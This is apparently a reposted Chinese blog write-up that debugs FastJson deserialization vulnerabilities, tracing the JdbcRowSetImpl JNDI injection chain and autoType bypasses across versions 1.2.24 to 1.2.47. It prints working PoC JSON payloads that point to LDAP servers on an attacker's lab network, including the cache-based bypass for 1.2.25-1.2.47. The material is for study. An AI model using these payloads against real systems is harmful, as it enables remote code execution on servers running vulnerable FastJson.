Java代码审计FastJson反序列化利用链跟踪动态调试autoType绕过

目录

0x00 前言

0x01 基础参考

JNDI注入实例

使用@type加入User类解析

FastJson历史漏洞简介

0x02 FastJson 1.2.24 利用链分析

调试过程

构造Poc思路

CC链关键流程

0x03 FastJson 1.2.25-1.2.47 利用链分析

1、开启autoTypeSupport:1.2.25-1.2.41

调试过程

构造Poc思路

CC链关键流程

疑问

2、通杀方案:1.2.25-1.2.47(checkAutotype绕过)

CC链关键流程

构造Poc思路


0x00 前言

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 基础参考

JNDI注入实例

关于 javax.naming.InitialContext.lookup(),在我之前的文章讲过,不再赘述

文章链接:JNDI注入&Log4j&FastJson&白盒审计&不回显处理-CSDN博客

方式1:
new InitialContext().lookup("ldap://192.168.196.128:1389/anqqyh");方式2:
InitialContext var1 = new InitialContext();DataSource lookup = (DataSource) var1.lookup("ldap://192.168.196.128:1389/anqqyh");
使用@type加入User类解析
String userStr = "{\"@type\":\"com.example.fastjsondemo.demos.web.User\",\"age\":21,\"name\":\"ch4ser\"}";JSONObject data = JSON.parseObject(userStr);System.out.println(data);

观察到 FastJson 解析 JSON 字符串时会自动执行类的 get 和 set 方法,这是因为 FastJson 反序列化用的是自定义方法,而不是原生的反序列化(原生的并不会执行类的 get 和 set 方法),这也是后续利用的关键点

FastJson历史漏洞简介

1.2.24及以下没有对序列化的类做校验,导致漏洞产生

1.2.25-1.2.41增加了黑名单限制,更改autoType默认为关闭选项。

1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式

1.2.43版本是对1.2.42及以下版本的黑名单绕过

1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用

1.2.47版本 利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击

1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破

1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验

1.2.72-1.2.80使用期望类Throwable的子类,进行绕过

0x02 FastJson 1.2.24 利用链分析

Poc:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.196.128:1389/5ltgie","autoCommit":true
}
调试过程

在 JSON.parseObject(Pocstr) 处打上断点,后续进行动态调试分析

步入,发现 parseObject() 其实也会用到 parse(),这里的 parse() 是 JSONObject 类的方法

步入,这里首先创建一个 DefaultJSONParser 对象,然后调用 parse() 方法来解析 JSON 字符串

DefaultJSONParser 是 FastJson 解析 JSON 字符串的核心组件,parse() 是 DefaultJSONParser 类中的一个方法

整个解析过程分为两个阶段:1、判断是否为 JSON 字符串格式2、键(key)  、值(value) 的获取

来到 DefaultJSONParser.class,关注到如下代码:

1、判断 key 是否等于 DEFAULT_TYPE_KEY(即@type)2、调用 scanSymbol 方法解析出 key 对应的 value3、通过 loadClass 获取指定类的 Class 对象并赋值给变量 clazz(涉及Java反射机制)

继续跟进,这里通过 getDeserializer 获取反序列化器,然后调用其 deserialze 方法进行反序列化

点击调试窗的 Navigate,来到对应反序列化的类 JdbcRowSetImpl.class

发现该类的 connect() 方法使用了 InitialContext.lookup(),这就是造成JNDI 注入的关键点

继续搜索发现 setAutoCommit 方法调用了 connect 方法

构造Poc思路
1、由于 lookup() 传入的变量为 this.getDataSourceName(),想到可以控制 dataSourceName 值,让其等于 ldap://192.168.196.128:1389/5ltgie 构造 JNDI 注入2、由于 setAutoCommit 调用了 connect,那么控制 autoCommit 为 true 即可触发3、完整的 Poc 为:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.196.128:1389/5ltgie","autoCommit":true
}
CC链关键流程

parseObject->parse->key(@type)->TypeUtils.loadClass->ObjectDeserializer(反序列化)->

JdbcRowSetImpl->setDataSourceName->dataSource->setAutoCommit->connect->lookup(JNDI注入)

0x03 FastJson 1.2.25-1.2.47 利用链分析

1、开启autoTypeSupport:1.2.25-1.2.41
1、autoTypeSupport?
autoTypeSupport默认是关闭的2、怎么打开autoTypeSupport?
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);2、Poc?
在原来基础上前加 "L",后加 ";"
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.196.128:1389/anqqyh","autoCommit":true
}
调试过程

在 JSON.parseObject(Pocstr) 处打上断点,后续进行动态调试分析

来到 DefaultJSONParser.class,与之前不同的是这里新增了 checkAutoType 方法,顾名思义就是用来检测 autoTypeSupport 的

步入,由于开启了 autoTypeSupport=true,所以这里进行了白、黑名单检测

我没有进行任何修改情况下,白名单默认是空的,黑名单有22个

经过白、黑名单后,下一步又来到了熟悉的 loadClass

步入,发现其做了两个处理:

1、若 className 开头为 "]",则获取去掉后 "]" 的 Class 对象

2、若 className 开头为 "L" 且结尾为 ";",则获取去掉 "L" 和 ";" 后的 Class 对象

在未处理前,className 如下:

在处理后,className 如下:

由此可见又变回了 com.sun.rowset.JdbcRowSetImpl,后续操作同理,不再赘述

构造Poc思路
1、由于 loadClass 对以"L"为开头且以";"为结尾的className做了去除处理,所以只需前加"L"后加";"即可
3、完整的 Poc 为:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.196.128:1389/anqqyh","autoCommit":true
}
CC链关键流程

checkAutoType->denyList[i]->this.config.getDeserializer(clazz)->loadClass->newClassName

疑问

若默认关闭autoTypeSupport,整个Poc执行流程是怎样的呢?如下:

来到 DefaultJSONParser.class,可以看到这里 autoTypeSupport 是为 false的,所以没有像开启时一样进入这个白、黑名单判断

而是来到了下面这个黑、白名单判断

紧接着来到了下面的 if 判断,最终抛出了异常,GG掉了

后续版本绕过思路(开启 autoTypeSupport 情况):

1.2.42 版本:
该版本先判断反序列化目标类的类名前后是不是 'L' 和 ';' 
若是,则先去掉 'L' 和 ';' ,再黑白名单校验
其绕过非常简单,只需要双写 'L' 和 ';'1.2.43 版本:
黑白名单判断前,新增了一个是否以 'LL' 开头的判断
若以 'LL' 开头,则直接抛异常,非常随意解决了双写的问题
但是除了'L' 和 ';',FastJson在加载类的时候,对 '[' 也特殊处理了
其绕过为在前面添加 '['1.2.44 版本:
来了个狠的,只要你以 '[' 开头或者 ';' 结尾,直接抛异常,终于解决了缠绵多个版本的漏洞

2、通杀方案:1.2.25-1.2.47(checkAutotype绕过)
1、poc?
testStr={"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.139.1:1389/lvkr9r","autoCommit":true}
}

这种通杀方案不需要开启 autoTypeSupport,同样我也跟着调试了一遍,但是跟的不是很清晰,后来问师傅才知道为什么这个 poc 要这样写。

CC链关键流程

FastJson有一个全局缓存机制:在解析json数据前会先加载相关配置,调用addBaseClassMappings()loadClass()函数将一些基础类和第三方库存放到mappings中(mappings是ConcurrentMap类,所以我们在一次连接中传入两个键值a和b,之后在解析时,如果没有开启autotype,会从mappings或deserializers.findClass()函数中获取反序列化的对应类,如果有,则直接返回绕过了黑名单。利用的是java.lang.Class类,其反序列化处理类MiscCodec类可以将任意类加载到mappings中,实现了目标。

第一步利用java.lang.Class将恶意类加载到mappings中;

第二步从在checkAutoType内部,没有开启autotype,直接从mappings中获取mappings中取出恶意类并绕过黑名单进行了反序列化。

构造Poc思路

简单来说,可以理解为 java.lang.Class 是白名单,先用 a 的 java.lang.Class 白名单把 com.sun.rowset.JdbcRowSetImpl 恶意类加载到 mappings,然后到处理 b 的时候就直接从 mappings 拿数据,就不会进入到黑名单了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/626090.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

含并行连结的网络(GoogLeNet)

目录 1.GoogLeNet 2.代码 1.GoogLeNet inception不改变高宽,只改变通道数。GoogLeNet也大量使用1*1卷积,把它当作全连接用。 V3耗内存比较多,计算比较慢,但是精度比较准确。 2.代码 import torch from torch import nn from t…

MATLAB - 使用运动学 DH 参数构建机械臂

系列文章目录 前言 一、 使用 Puma560 机械手机器人的 Denavit-Hartenberg (DH) 参数,逐步建立刚体树形机器人模型。在连接每个关节时,指定其相对 DH 参数。可视化机器人坐标系,并与最终模型进行交互。 DH 参数定义了每个刚体通过关节与其父…

非常好用的Mac清理工具CleanMyMac X 4.14.7 如何取消您对CleanMyMac X的年度订购

CleanMyMac X 4.14.7是Mac平台上的一款非常著名同时非常好用的Mac清理工具。全方位扫描您的Mac系统,让垃圾无处藏身,您只需要轻松单击2次鼠标左键即可清理数G的垃圾,就这么简单。瞬间提升您Mac速度。 CleanMyMac X 4.14.7下载地址&#xff1a…

基于LabVIEW的声音信号采集分析系统开发

摘要:以美国国家仪器(NI)公司开发的LabVIEW虚拟仪器为软件开发平台,设计了一个可以同步实现声音信号采集和分析的多功能模块化软件系统.借助LabVIEW图形化软件相应的声音读取、写入和存储函数实现对声音信号的采集、存储、时域分析和频域分析…

行为树(Behavior Trees)

行为树(Behavior Trees)是一种在游戏开发中广泛使用的AI设计模式,主要用于描述AI的行为和决策过程,实现更加智能和自然的游戏AI。它由多个节点组成,每个节点代表一个行为或决策,按照特定的方式连接在一起&a…

C#编程-自定义属性

命名自定义属性 让我们继续漏洞修复示例,在这个示例中新的自定义属性被命名为BugFixingAttribute。通常的约定是在属性名称后添加单词Attribute。编译器通过允许您调用具有短版名称的属性来支持附加。 因此,可以如以下代码段所示编写该属性: [ BugFixing ( 122,"Sara…

U-Boot学习(3):.config、defconfig文件对比及图形化配置Kconfig

在上一节中,我们介绍了U-Boot编译和.config配置文件生成分析,我们可以通过make xxx__defconfig来进行一些配置,其中xxx__defconfig对应config目录下的基于不同开发板的一些配置,指令执行完后会根据对应的配置在根目录下生成一个.c…

LLM之幻觉(二):大语言模型LLM幻觉缓减技术综述

LLM幻觉缓减技术分为两大主流,梯度方法和非梯度方法。梯度方法是指对基本LLM进行微调;而非梯度方法主要是在推理时使用Prompt工程技术。LLM幻觉缓减技术,如下图所示: LLM幻觉缓减技术值得注意的是: 检索增强生成&…

将Sqoop与Hive集成无缝的数据分析

将Sqoop与Hive集成是实现无缝数据分析的重要一步,它可以将关系型数据库中的数据导入到Hive中进行高级数据处理和查询。本文将深入探讨如何实现Sqoop与Hive的集成,并提供详细的示例代码和全面的内容,以帮助大家更好地了解和应用这一技术。 为…

bee工具的使用及创建第一个项目

前提文章:beego的安装及配置参数说明-CSDN博客 提示:beego框架下项目需要再GOPATH/src下进行开发,我的GOPATH是C:\Users\leell\go web项目创建 通过 bee new 创建web项目 C:\Users\leell\go\src>bee new beego-web 2024/01/15 21:40:0…

详细讲解Python连接Mysql的基本操作

目录 前言1. mysql.connector2. pymysql 前言 连接Mysql一般有几种方法,主要讲解mysql.connector以及pymysql的连接 后续如果用到其他库还会持续总结! 对于数据库中的表格,本人设计如下:(为了配合下面的操作) 1. mysql.connector mysql.connector 是一…

自动化的自动化(1)--OPCUA2HTML5

现在的自动化工程师是令人沮丧的,他们努力地实现各个行业的自动化系统,自己却停留在敲键盘的手工劳作的阶段,该解放自己了。这就是“自动化实现自动化”的话题。 OPC 统一架构(简称 OPC UA)是现代工厂自动化中用于机器…

漏洞复现-Yearning front 任意文件读取漏洞(附漏洞检测脚本)

免责声明 文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的…

身体互联网 (IoB)

现在,我们的互联网网关就是我们手中的一个小设备。 普渡大学副教授施里亚斯森表示。 我们不断地看着这个盒子,我们低着头走路,我们把大部分时间都花在它上面。如果我们不想让这种未来继续下去,我们就需要开发新技术。相反&#x…

#RAG##AIGC#检索增强生成 (RAG) 基本介绍和入门实操示例

本文包括RAG基本介绍和入门实操示例 RAG 基本介绍 通用语言模型可以进行微调以实现一些常见任务,例如情感分析和命名实体识别。这些任务通常不需要额外的背景知识。 对于更复杂和知识密集型的任务,可以构建基于语言模型的系统来访问外部知识源来完成任…

系统架构11 - 数据库基础(上)

数据库基础 数据库基本概念概述三级模式、两级映像概念模式外模式内模式二级映像逻辑独立性物理独立性 数据库设计需求分析概念结构设计逻辑结构设计物理设计数据库实施阶段据库运行和维护阶段 数据模型E-R模型关系模型模型转换E-R图的联系 关系代数 数据库基本概念 概述 数据…

openpyxl绘制图表

嘿,你是不是在处理Excel文件时感到束手无策?是不是想要一个简单而又强大的工具来处理数据分析和图表制作?别担心,我们有解决方案!让我向你介绍openpyxl,这是一个Python库,专门用于处理Excel文件…

使用MDT将系统升级为Win10

创建升级到Win10任务序列 右键选择Task Sequence ,然后选择NEW Task Sequence 填写ID name 默认配置 选择企业版 默认配置 填写组织 输入Administrator密码 点击下一步 等待完成 我们提前安装一台WIN7,并激活 选择打开 选择是 选择我们要创建好的升级win…

2.3 数据链路层03

2.3 数据链路层03 2.3.7 以太网交换机 1、以太网交换机的基本功能 以太网交换机是基于以太网传输数据的交换机,以太网交换机通常都有多个接口,每个接口都可以直接与一台主机或另一个以太网交换机相连,一般都工作在全双工方式。 以太网交换…

C程序技能:彩色输出

在终端上输出的字体总是单色,但在一些场景彩色输出更能满足需求,在Linux环境中,可以使用终端控制字符来设置输出字符的颜色,在部分版本的Windows系统中也可以使用。本文参考一些文献简要介绍一下在Windows下彩色输出的方法。 1. …